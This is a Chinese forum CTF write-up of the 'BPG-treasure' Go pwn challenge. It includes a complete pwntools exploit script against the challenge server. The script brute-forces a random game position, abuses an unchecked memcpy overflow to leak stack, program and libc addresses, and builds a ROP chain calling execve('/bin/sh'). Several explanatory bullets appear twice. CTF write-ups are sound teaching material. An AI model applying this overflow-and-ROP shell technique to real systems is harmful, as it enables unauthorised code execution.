首页
社区
课程
招聘
1
[原创]BPG-treasure WriteUp from W8C.Cossack人人
发表于: 2019-3-23 15:16 3165

[原创]BPG-treasure WriteUp from W8C.Cossack人人

2019-3-23 15:16
3165

脚本写的丑...各位大哥见谅

1
2
3
4
5
rop = p64(proc_base+syscall_Syscall)
rop += p64(proc_base+add_rsp_ret)
rop += p64(59)
rop += p64(libc_base+libc.search("/bin/sh").next())
rop += p64(0)*3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
from pwn import *
from time import sleep
#from ctypes import CDLL
import sys,os
#import cle
 
context.arch = "amd64"
status     = sys.argv[1]
elf     = ELF("./trepwn")
libc     = ELF("./libc.so")
host     = "211.159.175.39"
port     = 8787
name_ptr= 0x489410
ret1    = 0xC820047CE0
padding = '0'*0x30
cc        = False
fuck1     = False
fuck2     = False
fuck3     = False
fuck4     = False
fuck5    = False
syscall_Syscall = 0x186600
add_rsp_ret        = 0xd72f4
 
if status == 'l':
    io = process("./trepwn")
elif status == 'r':
    io = remote(host,port)
else:
    info("INVALID STATUS")
    exit()
#ref_io = process("./trepwn")
#base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[3], 16)
#info("REF.IO proc BASE -> %#x"%base)
#callrand = CDLL('./call.so').call
 
def mov(d):
    sleep(0.1)
    io.sendlineafter(")>>",d)
def msg(data):
    io.sendlineafter(">> ",data)
 
name = 'CCCC'
io.sendlineafter("Please input you name :\n",name)
#rand = callrand()
 
for i in range(5):
    mov('d')
#rand = callrand()
msg('1'*0x10)
info("Treasure 1 found")
 
for i in range(5):
    mov('w')
#rand = callrand()
msg('2'*0x10)
info("Treasure 2 found")
 
for i in range(5):
    mov('a')
#rand = callrand()
msg('3'*0x10)
info("Treasure 3 found")
 
mov('s');mov('d')
des1 = 'dsaw'
des2 = 'sawd'
 
def mov_brute(d):
    io.sendlineafter(")>>",d)
    if "Cong" in io.recv(0x13):
        info("Treasure 4 found")
        if fuck1 and fuck2 == False and fuck3 == False and fuck4 == False and fuck5 == False:
            pwn2()
        elif fuck1 and fuck2 and fuck3 == False and fuck4 == False and fuck5 == False:
            pwn3()
        elif fuck1 and fuck2 and fuck3 and fuck4 == False and fuck5 == False:
            pwn4()
        elif fuck1 and fuck2 and fuck3 and fuck4 and fuck5 == False:
            pwn5()
        else:
            pwn()
def loop(des):
    sleep(0.1)
    for de in des1:
        for i in range(3):
            mov_brute(de)
def looop():
    cnt = 0
    while True:
        loop(des1)
        cnt=cnt+1
        if(cnt%20==0):
            cod = io.recv(4)
            info("loop %d cod %s"%(cnt,cod))
def looop2():
    cnt = 0
    while True:
        loop(des2)
        cnt=cnt+1
        if(cnt%10==0):
            cod = io.recv(4)
            info("loop %d cod %s"%(cnt,cod))
 
def pwn():
    global fuck1
    payload = padding
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += '\xf8'
    msg(payload)
    io.recvuntil('message: ')
    global split_stack
    split_stack = u64(io.recv(8))
    success("SPLIT STACK BUF -> %#x"%split_stack)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck1 = True
    looop2()
 
def pwn2():
    global fuck2
    payload = padding
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += p64(split_stack+0x60)
    msg(payload)
    io.recvuntil('message: ')
    global proc_base
    leak = u64(io.recv(8))-0xd8036
    if (leak&0xfff) == 0:
        proc_base = leak
    elif (leak&0xfff) == 0xfa1:
        proc_base = leak+0x5f
    else:
        proc_base = leak+0xee
    success("PROC BASE -> %#x"%proc_base)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck2 = True
    looop2()
 
def pwn3():
    global fuck3
    payload = padding
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += p64(proc_base+0x474ef0)
    msg(payload)
    io.recvuntil('message: ')
    global libc_base
    libc_base = u64(io.recv(8))-libc.sym['free']
    success("LIBC BASE -> %#x"%libc_base)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck3 = True
    looop2()
 
def pwn4():
    global fuck4
    payload = '\x00'*0x30
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += '\x18'
    msg(payload)
    io.recvuntil('message: ')
    global cache_stack
    cache_stack = u64(io.recv(8))
    success("CACHE STACK BUF -> %#x"%cache_stack)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck4 = True
    looop2()
 
def pwn5():
    global base,libc_base
    #gdb.attach(io,'b * %d+0xd7980'%base)
    global fuck5
    rop = p64(proc_base+syscall_Syscall)
    rop += p64(proc_base+add_rsp_ret)
    rop += p64(59)
    rop += p64(libc_base+libc.search("/bin/sh").next())
    rop += p64(0)*3
    payload = '\x00'*0x30
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += p64(split_stack-0xf8+0x38)
    payload += p64(0x30)*2
    payload += p64(0x0)*3
    payload += p64(0x1)+p64(0xcb4)
    payload += p64(cache_stack)
    payload += p64(0x1)+p64(0x0)*2
    payload += rop
    msg(payload)
    io.interactive()
    fuck5 = True
 
looop()
  • 首先,你需要恢复一下符号表,于是你就可以发现如下内容
  • 作者自写了 main Game walk treasure randtreasure Joke print scan println memcpy
  • 其他的逻辑都简单,关键是 Gamewalk 调用 treasuretreasure 又调用 memcpy;而 walk 中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过 randtreasure 随机分配位置
  • 此处最坑爹的地方来了,一旦用户移动到了 treasure 4 的上下左右1格的位置,就会再次调用 randtreasure ,再把宝藏挪走到下一个随即地址; 而且!这个 randtreasure 甚至重新生成随机种子...肥肠的变态
  • 费尽千辛万苦挖到 treasure 4 后,会把用户的 message 通过 runtime.slicebytetostring 从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到 rsp+0x48 的地方
  • memcpy 未校验长度导致 treasure 4 留言溢出(原定0x30bytes)
  • 原本想的是,修改栈上println的参数使得输出字节增加,后来发现在未leak时,slice 结构体的 len 和 cap 都在 slice 指针高地址处,无法覆写
  • 后来借助 split stack 常规栈区最低字节不变的特性,直接修改 slice 指针低字节从而 leak 出 split stack rsp 附近值;再借此 leak 出返回地址,算出 proc_base (神奇的是,这竟然能 leak 出三种返回地址);再借助 proc_base leak 出 got 的 free 指针,从而得到 libc_base; 最后的最后,再 leak 一个栈区数据段(像是拓展指针存放的地方)的莫名其妙的指针,所有的 leak 工作就结束了
  • 其实可以不 leak libc_base 的...毕竟 golang 静态编译,syscall.Syscall 已经被编译进二进制文件了QAQ,最后才发现...
  • 首先你要挖矿(笑),我是爆破的,概率性脚本(wtcl)
  • 尝试了一下模拟随机过程,GG;又尝试了一下远程本地同时跑然后angr读本地进程内存,GG。
  • 爆!
  • 一波 leak 之后,直接伪造栈上数据,rop 调 syscall.Syscall 一发入魂
  • 此处 rop 注意,用 add rsp,28h 代替 push 即可
    1
    2
    3
    4
    5
    rop = p64(proc_base+syscall_Syscall)
    rop += p64(proc_base+add_rsp_ret)
    rop += p64(59)
    rop += p64(libc_base+libc.search("/bin/sh").next())
    rop += p64(0)*3
  • (而且golang的TCMalloc机制和ptmalloc差异很大,很容易出bug)
  • 看了一下出题源码..unsafe nb..Mut3p1g nb
  • 不过还是感谢出题人让我玩了一下go rop
  • 首先,你需要恢复一下符号表,于是你就可以发现如下内容
  • 作者自写了 main Game walk treasure randtreasure Joke print scan println memcpy
  • 其他的逻辑都简单,关键是 Gamewalk 调用 treasuretreasure 又调用 memcpy;而 walk 中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过 randtreasure 随机分配位置
  • 此处最坑爹的地方来了,一旦用户移动到了 treasure 4 的上下左右1格的位置,就会再次调用 randtreasure ,再把宝藏挪走到下一个随即地址; 而且!这个 randtreasure 甚至重新生成随机种子...肥肠的变态
  • 费尽千辛万苦挖到 treasure 4 后,会把用户的 message 通过 runtime.slicebytetostring 从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到 rsp+0x48 的地方

  • [注意]看雪招聘,专注安全领域的专业人才平台!

    最后于 2019-3-28 15:57 被Cossack人人编辑 ,原因:
    收藏
    免费 1
    支持
    分享
    赞赏记录
    参与人
    雪币
    留言
    时间
    PLEBFE
    为你点赞~
    2023-1-28 01:05
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回

    账号登录
    验证码登录

    忘记密码?
    没有账号?立即免费注册